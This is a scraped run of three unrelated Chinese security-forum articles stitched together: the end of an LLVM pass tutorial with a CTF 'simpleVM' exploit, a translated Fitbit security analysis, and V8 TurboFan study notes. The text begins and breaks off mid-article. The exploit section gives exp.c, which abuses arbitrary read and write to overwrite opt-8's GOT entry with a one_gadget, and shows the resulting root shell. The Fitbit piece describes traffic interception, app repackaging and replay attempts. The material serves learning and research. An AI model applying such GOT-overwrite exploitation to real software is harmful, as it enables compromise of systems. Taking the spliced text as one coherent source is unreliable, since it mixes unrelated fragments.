static RegisterPass<Hello> X("hello", "Hello World Pass");
// Register for clang
static RegisterStandardPasses Y(PassManagerBuilder::EP_EarlyAsPossible,
[](const PassManagerBuilder &Builder, legacy::PassManagerBase &PM) {
PM.add(new Hello());
});
该示例用于遍历IR中的函数，因此结构体`Hello`继承了`FunctionPass`，并重写了`runOnFunction`函数，那么每遍历到一个函数时，`runOnFunction`都会被调用，因此该程序会输出函数名。为了测试，我们需要将其编译为模块
clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config --ldflags`
然后我们以前面那个简易程序的IR为例
root@ubuntu:~/Desktop# opt -load LLVMHello.so -hello main.ll
WARNING: You're attempting to print out a bitcode file.
This is inadvisable as it may cause display problems. If
you REALLY want to taste LLVM bitcode first-hand, you
can force output with the `-f' option.
Hello: main
其中参数中的`-hello`是我们在代码中注册的名字
// Register for opt
static RegisterPass<Hello> X("hello", "Hello World Pass");
现在，我们在前面基础上加入对函数中的代码进行遍历的操作
#include "llvm/Pass.h"
#include "llvm/IR/Function.h"
#include "llvm/Support/raw_ostream.h"
#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Transforms/IPO/PassManagerBuilder.h"
using namespace llvm;
namespace {
struct Hello : public FunctionPass {
static char ID;
Hello() : FunctionPass(ID) {}
bool runOnFunction(Function &F) override {
errs() << "Hello: ";
errs().write_escaped(F.getName()) << '\n';
SymbolTableList<BasicBlock>::const_iterator bbEnd = F.end();
for(SymbolTableList<BasicBlock>::const_iterator bbIter=F.begin(); bbIter!=bbEnd; ++bbIter){
SymbolTableList<Instruction>::const_iterator instIter = bbIter->begin();
SymbolTableList<Instruction>::const_iterator instEnd = bbIter->end();
for(; instIter != instEnd; ++instIter){
errs() << "opcode=" << instIter->getOpcodeName() << " NumOperands=" << instIter->getNumOperands() << "\n";
}
}
return false;
}
};
}
char Hello::ID = 0;
// Register for opt
static RegisterPass<Hello> X("hello", "Hello World Pass");
// Register for clang
static RegisterStandardPasses Y(PassManagerBuilder::EP_EarlyAsPossible,
[](const PassManagerBuilder &Builder, legacy::PassManagerBase &PM) {
PM.add(new Hello());
});
然后以同样的方式运行
root@ubuntu:~/Desktop# opt -load LLVMHello.so -hello main.ll
WARNING: You're attempting to print out a bitcode file.
This is inadvisable as it may cause display problems. If
you REALLY want to taste LLVM bitcode first-hand, you
can force output with the `-f' option.
Hello: main
opcode=alloca NumOperands=1
opcode=getelementptr NumOperands=3
opcode=call NumOperands=4
opcode=getelementptr NumOperands=3
opcode=call NumOperands=4
opcode=call NumOperands=2
opcode=ret NumOperands=1
可以看到成功遍历出了函数中的指令操作
## 0x04 LLVM PASS模块逆向分析
### 分析
现在，我们将`LLVMHello.so`模块放入IDA进行静态分析
在初始化函数，调用了函数进行对象的创建
该函数如下
我们需要关注一下虚表结构，这样才方便我们确定各函数的位置
可以看到`runOnFunction`函数位于虚表中的最后一个位置，并且由于`runOnFunction`函数被我们重写，其指向的是我们自定义的那个函数,由此我们跟进
可以看到这正是我们重写的`runOnFunction`函数，因此对于LLVM PASS，定位函数的位置因从虚表入手。
### 调试
由于模块是动态加载的，并且运行时也不会暂停下来等我们用调试器去`Attach`，因此我们可以直接使用IDA来进行调试，其参数设置如下
在模块需要调试的地方设置断点，然后使用IDA来启动`opt`程序即可进行模块的调试
## 0x05 红帽杯 simpleVM
### 分析
首先找到注册函数
跟进以后，找到虚表位置
找到`runOnFunction`函数的地址
这里先是对当前遍历到的函数名进行匹配
如果函数名是`o0o0o0o0`，则调用函数`sub_7F5C11B24AC0`进行进一步处理
可以看到该函数遍历IR中`o0o0o0o0`函数中的`BasicBlock(基本代码块)`，然后继续调用`sub_7F5C11B24B80`函数进行处理
该函数会遍历`BasicBlock(基本代码块)`中的指令，然后匹配到对应指令后进行处理，这里匹配到`add函数`时，会根据其操作数1的值，来选择对应的存储区（这里我们可以看做寄存器），将操作数2累加上去
当匹配到`load`操作时，将对应的寄存器中的值看做是地址，从地址中取出8字节数据存入另一个寄存器中
可以看到`load`的处理过程中，并没有边界检查，而且其寄存器中的值可以通过`add`来完全控制，由此这里出现一个`任意地址读`的漏洞，同理，我们看到`store`，同理存在`任意地址写`的漏洞。
### 漏洞利用
由于优化器`opt-8`未开启PIE和GOT完全保护，因此，可以借助`add、load、store`来完成对`opt-8`二进制程序的GOT表的改写，可以直接将`opt-8`二进制程序的GOT表中的free表项改为`one_gadget`，即可获得`shell`
exp.c
void store(int a);
void load(int a);
void add(int a, int b);
void o0o0o0o0(){
add(1, 0x77e100);
load(1);
add(2, 0x729ec);
store(1);
}
使用`clang -emit-llvm -S exp.c -o exp.ll`得到IR文本文件，然后传给`opt-8`进行优化
root@ubuntu:~/Desktop# ./opt-8 -load ./VMPass.so -VMPass ./exp.ll
WARNING: You're attempting to print out a bitcode file.
This is inadvisable as it may cause display problems. If
you REALLY want to taste LLVM bitcode first-hand, you
can force output with the `-f' option.
# whoami
root
#
## 0x06 感想
学习并入门了LLVM PASS，收获很多！
## 0x07 参考
[[红帽杯 2021] PWN – Writeup](https://eqqie.cn/index.php/laji_note/1655/)
[Writing an LLVM Pass — LLVM 12
documentation](https://llvm.org/docs/WritingAnLLVMPass.html)
[LLVM Pass入门导引](https://zhuanlan.zhihu.com/p/122522485)
[LLVM Pass 简介（2）](https://www.cnblogs.com/jourluohua/p/14556184.html) | 社区文章 |
# 可穿戴健身设备的安全性分析（Fitbit智能手环）
|
##### 译文声明
本文是翻译文章，文章来源：360安全播报
译文仅供参考，具体内容表达以及含义原文为准。
**引言**
**研究背景**
越来越多的智能设备和各种传感器开始进入大众的生活，但是不得不承认这些智能设备会跟踪你的健康和健身信息，所以这些设备的安全和隐私问题变得尤为重要。
更糟糕的是，一些像Fitbit这样的智能设备公司并不会给用户提供任何的数据控制权限，将用户的数据全部上传到他们的私有云上，如果用户想获得更加详细的健康分析，就要去购买。用户对于这些设备收集了哪些信息一无所知。而且近年来Fitbit已经爆出过非常多的安全漏洞，有些可以导致用户的信息泄露，有些是设备和web服务器通信上的严重漏洞，包括他设备自身也有很多问题。
这些安全问题在这些健康追踪设备上并不少见，而且是当前智能设备普遍存在的问题。
**研究目标**
这个项目的主要研究目标是了解Fitbit在上面这些漏洞爆出之后在他们的安全方面做了哪些改进。同时，在消费者穿戴一台智能设备之前，他们有权利知道这个设备收集了哪些信息并且如何能看到。所以这个项目还会研究Fitbit收集了哪些数据、他是怎样收集的以及这些数据是如何在设备和服务器之间往来的。
一共有以下几个步骤：
**确认Fitbit从用户那里收集了哪些数据** ****
**看Fitbit给用户展示了哪些数据，和他们收集的数据作对比** ****
**恢复他们从用户那里收集但是不展示的数据** **** ****
**绘制出和他们系统有关的可能存在的安全漏洞和隐私问题** **** **** ****
**相关工作**
在我们开始着手这个项目之前，我们为此写了一个一般性的文献综述，来确定目前现有的工具和资源。我们在一个叫做“Hacks by
Pete”的博客上找到了一些关于Fitbit设备同步数据格式的资料。在Fitbit
One配对之后，该博客作者对他设备上的同步日志进行了分析。我们之前也从Fitbit
Flex上抓到过类似的数据，虽然他的博客证实了我们的研究成果是正确的，但是除了这些并没有提供任何有用的信息。这主要是因为博客上缺乏相关文档，并且Fitbit已经更新了他们的软件对设备上的同步信息做了加密混淆。
另一个对于我们研究有帮助的是一个叫做
“伽利略”的开源项目，由一位德国开发人员创建，他编写了允许Fitbit设备同步到Linux操作系统的软件。此项目的开发人员已在同步数据的格式方面，以及Fitbit设备与手机应用或计算机应用程序之间的通信协议方面成果显著。特别是他们标出了不同Fitbit设备通信时不同的头字节，并提供了多种数据抓取的样本。虽然这些信息有助于我们了解抓取的Fitbit
Flex设备的数据格式，但它并不能对数据进行解密。一位开发人员表示已经发现使用的加密方式是AES，但是并没有提供任何证据。总而言之，我们团队对于Fitbit采用哪种方法加密以及加密秘钥是如何生成和替换的没有任何线索。
除了上述的资源，我们发现了很多独立的项目在尝试分析Fitbit通信协议。对旧的Fitbit设备（2个已经停产）的研究似乎是相当成功的，而其他的并没有很好的成果。综上，老款的Fitbit（Fitbit
Tracker)）由于缺乏加密或安全通信协议而遭受了严重的安全攻击，从那时起，Fitbit在他们的手环上（Fitbit Flex,
One和Zip）和应用程序上开始更加重视安全，让用户更难以捕获他们没有权限看到的东西。
除了对于Fitbit设备的研究，我们也研究了蓝牙协议。先前的安全项目，作为麻省理工学院2012年秋季的6.858计算机系统安全课程的一部分完成了，其中研究了蓝牙协议中的漏洞。这对于了解蓝牙通信是一个非常有用的成果，而且能够最大限度地发挥我们所购买的Ubertooth设备的作用。
**系统概览**
由于会穿戴Fitbit手环一整天。为了实现这种要求，Fitbit手环会将动态数据缓存在本地。当用户使用iOS或者Android
app进行数据同步时，app会将手环里的数据发送给Fitbit-operated服务器存储。所有的用户健身数据不会保留在用户的手机或者手环里，而都是从Fitbit的云服务上获得的。
**图一：Fibit系统组件，我们将攻击面划分为五个区域:(a),(b),(c),(d),(e)**
Fitbit设备和智能手机或个人电脑之间的同步是通过蓝牙进行的。它使用的是BTLE
（低功耗蓝牙）协议。智能手机或个人电脑和Fitbit云服务之间同步是在互联网上加密传输的。
在图1中，我们将Fitbit系统集成组件划分成五个分析区域。下文将按照这些部分依次进行分析。第4节介绍Fitbit
Flex设备硬件的分析（a）。第5节介绍Fitbit Flex和Nexus 5的蓝牙通讯分析（b）。第6节是Fitbit
Android应用程序的分析（c），第7节是Fitbit设备和Fitbit Web服务之间的网络通信分析（d）。我们将Fitbit
API和Web服务分析作为未来的工作放在第8节（e）。
**硬件设备分析**
**图二：这个是Fitbit主板正面。红色是主CPU，橙色是BTLE芯片，蓝色是一个充电器，黄色的芯片不太清楚**
根据iFixit提供的对Fitbit的完美拆解，主板上的主芯片是ARM cortex处理器STMicroelectronics
32L151C6。对芯片的进一步研究显示，该设备具有通常所说的JTAG接口，这允许研究人员和开发人员调试设备并可以转储固件。不幸的是，该设备还有JTAG保险丝，如果安装了调试器，设备将跳线短路并擦除系统固件。我们通过拆开一个坏的Fitbit并检查芯片的背面证实了这一点。因为难以连接调试器，而且JTAG接口已经在出厂的时候被堵死，我们决定侧重于研究该设备的其它部分。
**蓝牙分析**
Fitbit
Flex设备向智能手机或个人电脑的同步过程是通过蓝牙协议完成的，我们开始尝试动态嗅探蓝牙通信。可以实现嗅探的商业工具高达数千美金，但幸运的是我们找到了名为“Ubertooth”的开源工具，这大大降低了我们的花销。Ubertooth的硬件通过USB接口插入任何一台电脑，且开源项目提供了现成的软件工具来监控、跟踪并捕获蓝牙通信。更重要的是，由于Fitbit没有通过标准的蓝牙4.0协议而是通过BTLE工作，Ubertooth也能够嗅探出BTLE的通信。通过使用Ubertooth套件中的“ubertooth-BTLE”工具，我们能够从Fitbit
Flex设备捕获所有的流量，并跟踪其与Fitbit应用通过多个蓝牙跳频信道进行通信。捕获的蓝牙数据包以PCAP格式存储到磁盘上，然后可通过安装相应的BTLE插件在Wireshark2查看。
**结果**
使用上述方法，我们捕捉到初始的设备配对以及所有后续数据同步到服务器过程中发生的所有的蓝牙通信。我们通过初步分析数据发现，Fitbit
Flex会响应来自所有范围内的蓝牙设备的广播。这使我们能够获得Fitbit
Flex设备的私有地址，和所有其他BTLE设备附近的私人地址，其中大多数是其他Fitbit设备。根据BLTE的规范，其最好的特性之一是隐私意识，它允许开发人员更换设备的私有地址以避免被追踪。这样的特征应该被智能设备积极利用来保护用户的隐私。然而，在我们的实验过程中，我们并没有在任何Fitbit
Flex设备上观察到私有地址的变化。Fitbit选择不使用BTLE的隐私功能，可能导致潜在的隐私泄露，因为它允许第三方跟踪特定用户的活动。此外，由于Fitbit应用程序报告附近设备专用地址的服务器，这些私有地址永远不会改变，这意味着Fitbit有能力构建出每个用户的周围环境和正在进行的活动轮廓。
我们还发现有人称BTLE密钥交换可以被Ubertooth捕获，从而暴露加密密钥。漏洞发现者迈克·瑞安开发了一个叫crackle3的工具，他可以自动化的从抓到的Wireshark
PCAP格式的蓝牙数据包中提取加密秘钥。我们试图通过捕获从Fitbit
Flex设备到Fitbit移动应用程序的配对过程的数据包来利用此漏洞。然而，crackle没有识别出秘钥交换的过程，这表明为了混淆加密密钥，Fitbit没有按照标准BTLE密钥交换协议。我们没有进一步采取暴力破解密钥的方法，因为这将非常费时，并且超出了项目时间的允许。
**安卓应用程序分析**
我们探索未来的攻击向量是Fitbit
Android应用程序。在这一节中，我们将描述我们的实验装置，包括用于反编译的软件和硬件，分析、修改应用程序和分析结果。
**方法**
我们使用了一个Nexus5安卓手机作为一个测试平台，用于修改我们的安卓应用程序。为了反编译，修改和重建安卓应用程序，我们使用一套在OS X上运行的工具。
在逆向工程的第一步，安卓应用程序是获得应用程序本身。为此，我们使用APK提取器。APK安装器的电子邮件应用程序你作为附件。
提取的应用（.APK文件）是压缩和签署的应用资源和静态链接的程序文件。为了检查程序，我们需要解压缩档案，分析其中的classes.dex文件。
classes.dex包含Dalvik机器代码的Fitbit应用。靠本身，机器码是很难理解的。因此，我们采用两种逆向工程Dalvik代码常见的方法。
首先，我们可以反编译为Dalvik代码使用Java
dex2jar。这是一个单向的操作，从Dalvik程序的图像生成Java源文件很简单，但是很难从编译产生的Java源回Dalvik图像。因此，我们使用Java的源码得到提示应用程序正在做什么。
其次，我们可以把Dalvik代码分解得到Smali的代码，一个Dalvik虚拟机汇编语言。有了Dalvik虚拟机的机器代码和Smali组件之间的一个简单的一对一的映射，所以很容易修改的Smali源和重新包装使用的应用在我们的Nexus
5。我们用baksmali拆解应用程序并且使用Smali重新打包我们修改过的代码。
重新包装和重新安装修改后的版本在Nexus 5测试Fitbit
APP，我们更换classes.dex与重新打包的修改后的Smali代码。然后我们重新压缩档案对齐在4字节与zipalign并且用keytool卸载apk。zipalign和keytool都是Android开发工具包中的部分工具。我们使用adb，也是安卓开发工具软件包的一部分，将修改后的软件包安装到我们的关系5测试平台上。
**分析**
反编译Android应用程序并试图弄懂代码意义之后，我们发现了“实时数据模式。”“实时数据模式”是Fitbit设备的功能，当连接到Fitbit设备上时会显示实时的指标。我们确定了“实时数据模式”是运行在未加密的数据上的。首先，我们假设，我们可以修改未加密传输中的数据（在手机里），并安装一个重放攻击。通过验证，这是不成功的，但是，因为在“实时数据模式”传递的动态信息永远不会连接Fitbit在线服务，这些权威的数据记录——只是用于显示目的的缓冲装置。当追踪
“实时数据模式”机制时，我们注意到日志类被重复调用的步骤。然而，经检查我们注意到，该步骤没有采取任何行动。
**图3：Android工具用来修改Fitbit应用程序。**
我们怀疑，开发商后来注释了或删除了日志记录。我们在功能中插入记录语句并重新编译应用程序。新的记录数据有泄露。特别的，我们找到了数据分步比Fitbit所提供的更好的粒度。该应用程序只显示汇总到5分钟间隔内的步骤，而无线网络的数据包必须间隔15分钟。日志记录语句包含以1分钟的间隔步数据。
通过直接使用应用程序这些数据不可用（且不适宜输出）。当日志记录功能完善时，我们决定进一步调查由“动态数据模式”类提供的日志。我们观察到动态数据包类似于图4中所示。我们有重要的发现，动态数据包都几乎相同，这表明没有使用加密（或至少没有使用随机加密方式）来实现动态数据包。我们决定尝试利用这一点。我们修改其中该应用读取的实时数据，在数据包中的代码的一部分中改变步骤的计数。这部分成功了，我们就能够控制移动设备上显示值。其中一种情况下，我们能够控制应用程序一整天只计数7个步骤。然而，这种数据也没有传播到服务器。我们认为，实时数据的存在的唯一目的就是使得用户可以得到即时的更新，并且它所发送的数据被复制在具有更好保护的同步包里。
从这里，我们将焦点转移到手机和flex之间的蓝牙协议是如何运作的。通过进一步研究日志记录，我们可以观察出大部分的蓝牙协议的工作原理。通过随机位计算MAC，并采用CBC-MAC与XTEA分组加密，应用程序的设备进行认证操作。不存在我们能够发现的进一步的验证。
**图4：我们对日志记录功能的修改。上图显示记录功能运Fitbit的生产的Android应用程序。图的底部是我们对日志记录功能的修改。**
flex发送到手机上的有两种类型的数据包。第一种类型是一个控制包。这是一个第一个字节为-64的包。该控制包的其余部分映射到一个操作码上，这以某种方式改变了手机的状态。第二种类型是数据包。这种类型用在相关的信息被发送时。数据包除了最后一个可以有所不同之外所有的都是20个字节长。此手机在使用它们之前验证这些字节。
我们认为，这种通信是加密的。数据包中没有明显的模式，所以也有可能使用了一些随机加密方式。然而，事实上，数据包的时间戳在细的粒度上是可以使包的整体看起来是随机的，有可能是因为时间戳混淆了模式。因为日志记录表明，有一个随机认证的问题，且发送的字节数是被验证过的，我们的结论是，不可能仅仅通过运行重放攻击获得额外的步骤。
**图5：一分钟的粒度在一天中第一个15分钟里**
**图6：数据包是非常相似的**
**网络分析**
**方法**
Android应用程序通过加密的TLS连接Fitbit Web服务并进行通信。为了查看流量，我们使用查尔斯代理（Charles Proxy
）。查尔斯代理使你能够通过在电脑上运行代理来检查你的智能手机中的网络流量。代理拦截所有的TLS通信量和使用自定义的查尔斯证书替换服务的TLS证书。加入查尔斯作为手机上的一个值得信赖的认证后，我们通过代理在session期间能够成功的检测流量。
**分析**
我们从与手机的初始配对开始。手机从它在配对过程显示为指示所述服务器请求的图像。然而，在配对过程中的后一个步骤中，手机从一个无害的message.xml请求数据，然后服务器返回一个大的Javascript数据。同时，Android的日志发布警告称，该应用程序正在运行不安全内容的消息。这是一个可能的攻击向量。看来应用程序并不会检查任何通过WIFI接受的Javascript脚本。
我们在配对过程中截获另一个有趣的数据包是BTLE秘钥。
**图7：BTLE凭据**
配对处理后，大部分的无线通信是从该服务器得到请求的数据并显示。该步骤的数据全部聚集到15分钟的时间间隔同应用程序的显示的一样。手机从服务器上获取其他数据似乎有点过度，但是这似乎并没有成为一个问题。为了发送该步中追踪器收集的数据，手机上传一个megadump到Mixpanel（一个分析公司）。这个服务器与手机请求数据的服务器不是同一个。Megadump中包含了所有合适的数据，似乎通过base64进行编码。它的内部肯定是有一些结构，但是，因为megadump总是以同样的串“KAIAAA。”我们可以在这里尝试进行一些密码分析，但我们更关注系统的蓝牙方面，因为这部分的反汇编代码更加的清晰。
**总结和未来的工作**
综合迄今发现的情况我们的研究结果简要总结如下：
•通过蓝牙的分析，我们确定了从第5节得到的结果，即该设备的私有地址并没有改变。如所第5节提到的，这可能通过其Fitbit的蓝牙广播允许了跟踪。
•在配对过程中，手机毫无必要地暴露了其范围内的所有Fitbits服务器。
•在检查手机时，我们发现其中包含比手机应用程序提供用户登录更多的数据。
•我们发现，BTLE凭证从服务器以明文发送到手机上，虽然是通过TLS。
•另外，还有发送Javascript到手机，这可能产生攻击向量。
我们的研究结果表明，虽然Fitbit安全设置总体看来似乎是合理的，但是还需进一步的探索和分析。我们在图1中提出的途径以供将来分析五个标识的区域。
**Fitbit固件捕获和逆向工程**
虽然JTAG熔丝造成调试设备本身的困难，我们仍然认为获得对设备的固件的权限可能实现的，然后使用逆向工程进行修改。这可以通过Fitbit应用程序插件来完成，使用之前存储在磁盘上或存储器中固件更新。固件的图像分析是past5中可能存在的安全漏洞的一个成功载体，会以加密例程和程序设备本身信息的方式提供更多。
虽然未加密的固件映像将是理想的，有可能以这样的方式进行更新——直到安装到该设备上固件才被加密。分析端到端通信涉及到更新，而我们在本文中已经完成了通信的其余部分，这将是一个很好的着手点。
**蓝牙**
正如我们上面所描述的，Fitbit设备与智能手机或电脑应用程序之间的蓝牙通讯使用基于XTEA的CBC中的
MAC模式进行身份验证。因为手机必须包含用于验证通信的密码，我们可以对手机进行更多的分析来提取密码。有了密钥和算法，伪造一个MAC并实施蓝牙重放攻击对我们来说将成为一种可能。
**Android应用**
实时数据不存储在手机上或在传输过程中被译码事实，使得它难以在Android应用程序中利用来获取用户数据。然而，Android的应用程序保留了一个有趣的sqlite3表集，我们怀疑这可能表明，这种开发模式可能会导致在本地存储动态数据的存在。这将值得花费更多的时间来检查该应用是否有可能利用这些表的替代代码路径。
**网络分析**
我们在第7节指出，配对交换期间有JavaScript发送到应用程序。我们怀疑该JavaScript包含用户界面更新，因为其他资源（图像，复制文本）包括了其他的JavaScript。由于Javascript必须在设备上执行，我们认为，一个有趣的攻击向量可能是注入我们自己的JavaScript到配对交换中。然而，由配对过程是通过SSL的，这种攻击的效果可能会减轻，。
**Fitbit服务器**
最后，我们并没有进行Fitbit
API或Mixpanel分析服务设备和Fitbit的Web服务之间的网络安全审计。检查Fitbit服务的漏洞将会很有趣，可能会有常见的安全漏洞（如跨站请求伪造或跨站脚本攻击），或者未公开的私有API调用。
**结论**
回想一下，我们的三个目的是描述（1）从Fitbit收集它的用户数据，（2）Fitbit提供给它的用户的数据，（3）回收未提供给设备的用户的数据的方法。我们相信，对每一个目标我们都取得了显著的成果。
我们确定Fitbit收集了有关用户，包括其附近的Fitbits的MAC地址的无关信息。我们还发现，Android应用程序可以将访问步骤与数据的粒度下降到一分钟，但用户界面不会呈现。我们能够修改源以显示日志中的这些数据。
我们最成功的分析技术包括对Android应用程序的逆向工程，在第6节中有详细描述。
总体而言，Fitbit提供的用于用户数据的隐私在合理的水平中，但我们更希望提供给有效用户一个易于访问方法，从而通过设备来获取全部的数据集。 | 社区文章 |
# 浅析 V8-turboFan（上）
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、简介
* v8 是一种 JS 引擎的实现，它由Google开发，使用C++编写。v8 被设计用于提高网页浏览器内部 JavaScript 代码执行的性能。为了提高性能，v8 将会把 JS 代码转换为更高效的机器码，而非传统的使用解释器执行。因此 v8 引入了 **JIT (Just-In-Time)** 机制，该机制将会在运行时动态编译 JS 代码为机器码，以提高运行速度。
* TurboFan是 v8 的优化编译器之一，它使用了 [sea of nodes](https://darksi.de/d.sea-of-nodes/) 这个编译器概念。
> sea of nodes 不是单纯的指某个图的结点，它是一种 **特殊中间表示** 的图。
>
> 它的表示形式与一般的CFG/DFG不同，其具体内容请查阅上面的连接。
TurboFan的相关源码位于`v8/compiler`文件夹下。
* 这是笔者初次学习v8 turboFan所写下的笔记，内容包括但不限于turboFan运行参数的使用、部分`OptimizationPhases`的工作机理，以及拿来练手的`GoogleCTF 2018(Final) Just-In-Time`题题解。该笔记 **基于[Introduction to TurboFan](https://doar-e.github.io/blog/2019/01/28/introduction-to-turbofan/) 并适当拓宽了一部分内容**。如果在阅读文章时发现错误或者存在不足之处，欢迎各位师傅斧正！
## 二、环境搭建
* 这里的环境搭建较为简单，首先搭配一个 v8 环境（ **必须** ，没有 v8 环境要怎么研究 v8， 2333）。这里使用的版本号是 **7.0.276.3** 。
> 如何搭配v8环境？请移步 [下拉&编译 chromium&v8 代码](https://kiprey.github.io/2020/11/fetch-> chromium/)
这里需要补充一下，v8 的 gn args中必须加一个`v8_untrusted_code_mitigations = false`的标志，即最后使用的gn
args如下：
# Set build arguments here. See `gn help buildargs`.
is_debug = true
target_cpu = "x64"
v8_enable_backtrace = true
v8_enable_slow_dchecks = true
v8_optimized_debug = false
# 加上这个
v8_untrusted_code_mitigations = false
具体原因将在下面讲解`CheckBounds`结点优化时提到。
* 然后安装一下 v8 的turbolizer，turbolizer将用于调试 v8 TurboFan中`sea of nodes`图的工具。
cd v8/tools/turbolizer
# 获取依赖项
npm i
# 构建
npm run-script build
# 直接在turbolizer文件夹下启动静态http服务
python -m SimpleHTTPServer
> 构建turbolizer时可能会报一些TypeScript的语法错误ERROR，这些ERROR无伤大雅，不影响turbolizer的功能使用。
* turbolizer 的使用方式如下：
* 首先编写一段测试函数
// 目标优化函数
function opt_me(b) {
let values = [42,1337];
let x = 10;
if (b == "foo")
x = 5;
let y = x + 2;
y = y + 1000;
y = y * 2;
y = y & 10;
y = y / 3;
y = y & 1;
return values[y];
}
// 必须！在优化该函数前必须先进行一次编译，以便于为该函数提供type feedback
opt_me();
// 必须! 使用v8 natives-syntax来强制优化该函数
%OptimizeFunctionOnNextCall(opt_me);
// 必须！ 不调用目标函数则无法执行优化
opt_me();
> 一定要在执行`%OptimizeFunctionOnNextCall(opt_me)`之前调用一次目标函数，否则生成的graph将会因为没有type
> feedback而 **导致完全不一样的结果** 。
>
> 需要注意的是type feedback **有点玄学**
> ，在执行`OptimizeFunctionOnNextCall`前，如果目标函数内部存在一些边界操作（例如多次使用超过`Number.MAX_SAFE_INTEGER`大小的整数等），那么调用目标函数的方式
> **可能** 会影响turboFan的功能，包括但不限于传入参数的不同、调用目标函数次数的不同等等等等。
>
> 因此在执行`%OptimizeFunctionOnNextCall`前，目标函数的调用方式，必须自己把握，手动确认 **调用几次，传入什么参数**
> 会优化出特定的效果。
若想优化一个函数，除了可以使用`%OptimizeFunctionOnNextCall`以外，还可以多次执行该函数（次数要大，建议上for循环）来触发优化。
* 然后使用 d8 执行，不过需要加上`--trace-turbo`参数。
$ ../../v8/v8/out.gn/x64.debug/d8 test.js --allow-natives-syntax --trace-turbo
Concurrent recompilation has been disabled for tracing.
--------------------------------------------------- Begin compiling method opt_me using Turbofan
--------------------------------------------------- Finished compiling method opt_me using Turbofan
之后本地就会生成`turbo.cfg`和`turbo-xxx-xx.json`文件。
* 使用浏览器打开`127.0.0.1:8000`（注意之前在turbolizer文件夹下启动了http服务）然后点击右上角的3号按钮，在文件选择窗口中选择刚刚生成的`turbo-xxx-xx.json`文件，之后就会显示以下信息：
不过这里的结点只显示了控制结点，如果需要显示全部结点，则先点击一下上方的2号按钮，将结点全部展开，之后再点击1号按钮，重新排列：
## 三、turboFan的代码优化
* 我们可以使用 `--trace-opt`参数来追踪函数的优化信息。以下是函数`opt_me`被turboFan优化时所生成的信息。
$ ../../v8/v8/out.gn/x64.debug/d8 test.js --allow-natives-syntax --trace-opt
[manually marking 0x0a7a24823759 <JSFunction opt_me (sfi = 0xa7a24823591)> for non-concurrent optimization]
[compiling method 0x0a7a24823759 <JSFunction opt_me (sfi = 0xa7a24823591)> using TurboFan]
[optimizing 0x0a7a24823759 <JSFunction opt_me (sfi = 0xa7a24823591)> - took 53.965, 19.410, 0.667 ms]
> 上面输出中的`manually marking`即我们在代码中手动设置的`%OptimizeFunctionOnNextCall`。
我们可以使用 v8 本地语法来查看优化前和优化后的机器码（使用`%DisassembleFunction`本地语法）
> 输出信息过长，这里只截取一部分输出。
$ ../../v8/v8/out.gn/x64.debug/d8 test.js --allow-natives-syntax
0x2b59fe964c1: [Code]
- map: 0x05116bd02ae9 <Map>
kind = BUILTIN
name = InterpreterEntryTrampoline
compiler = unknown
address = 0x2b59fe964c1
Instructions (size = 995)
0x2b59fe96500 0 488b5f27 REX.W movq rbx,[rdi+0x27]
0x2b59fe96504 4 488b5b07 REX.W movq rbx,[rbx+0x7]
0x2b59fe96508 8 488b4b0f REX.W movq rcx,[rbx+0xf]
....
0x2b59ff49541: [Code]
- map: 0x05116bd02ae9 <Map>
kind = OPTIMIZED_FUNCTION
stack_slots = 5
compiler = turbofan
address = 0x2b59ff49541
Instructions (size = 212)
0x2b59ff49580 0 488d1df9ffffff REX.W leaq rbx,[rip+0xfffffff9]
0x2b59ff49587 7 483bd9 REX.W cmpq rbx,rcx
0x2b59ff4958a a 7418 jz 0x2b59ff495a4 <+0x24>
0x2b59ff4958c c 48ba000000003e000000 REX.W movq rdx,0x3e00000000
...
可以看到，所生成的代码长度从原先的995，优化为212，大幅度优化了代码。
>
> 需要注意的是，即便不使用`%OptimizeFunctionOnNextCall`，将`opt_me`函数重复执行一定次数，一样可以触发TurboFan的优化。
* 细心的小伙伴应该可以在上面环境搭建的图中看到`deoptimize`反优化。为什么需要反优化？这就涉及到turboFan的优化机制。以下面这个js代码为例（注意：没有使用`%OptimizeFunctionOnNextCall`）
class Player{}
class Wall{}
function move(obj) {
var tmp = obj.x + 42;
var x = Math.random();
x += 1;
return tmp + x;
}
for (var i = 0; i < 0x10000; ++i) {
move(new Player());
}
move(new Wall());
for (var i = 0; i < 0x10000; ++i) {
move(new Wall());
}
跟踪一下该代码的opt以及deopt：
$ ../../v8/v8/out.gn/x64.debug/d8 test.js --allow-natives-syntax --trace-opt --trace-deopt
[marking 0x3c72eab23a99 <JSFunction move (sfi = 0x3c72eab235f9)> for optimized recompilation, reason: small function, ICs with typeinfo: 7/7 (100%), generic ICs: 0/7 (0%)]
[compiling method 0x3c72eab23a99 <JSFunction move (sfi = 0x3c72eab235f9)> using TurboFan]
[optimizing 0x3c72eab23a99 <JSFunction move (sfi = 0x3c72eab235f9)> - took 6.583, 2.385, 0.129 ms]
[completed optimizing 0x3c72eab23a99 <JSFunction move (sfi = 0x3c72eab235f9)>]
# 分割线--------------------------------------------------------------------- [marking 0x3c72eab238e9 <JSFunction (sfi = 0x3c72eab234e9)> for optimized recompilation, reason: hot and stable, ICs with typeinfo: 7/13 (53%), generic ICs: 0/13 (0%)]
[compiling method 0x3c72eab238e9 <JSFunction (sfi = 0x3c72eab234e9)> using TurboFan OSR]
[optimizing 0x3c72eab238e9 <JSFunction (sfi = 0x3c72eab234e9)> - took 3.684, 7.337, 0.409 ms]
# 分割线--------------------------------------------------------------------- [deoptimizing (DEOPT soft): begin 0x3c72eab238e9 <JSFunction (sfi = 0x3c72eab234e9)> (opt #1) [@6](https://github.com/6 "@6"), FP to SP delta: 104, caller sp: 0x7ffed15d2a08]
;;; deoptimize at <test.js:15:6>, Insufficient type feedback for construct
...
[deoptimizing (soft): end 0x3c72eab238e9 <JSFunction (sfi = 0x3c72eab234e9)> [@6](https://github.com/6 "@6") => node=154, pc=0x7f0d956522e0, caller sp=0x7ffed15d2a08, took 0.496 ms]
[deoptimizing (DEOPT eager): begin 0x3c72eab23a99 <JSFunction move (sfi = 0x3c72eab235f9)> (opt #0) [@1](https://github.com/1 "@1"), FP to SP delta: 24, caller sp: 0x7ffed15d2990]
;;; deoptimize at <test.js:5:17>, wrong map
...
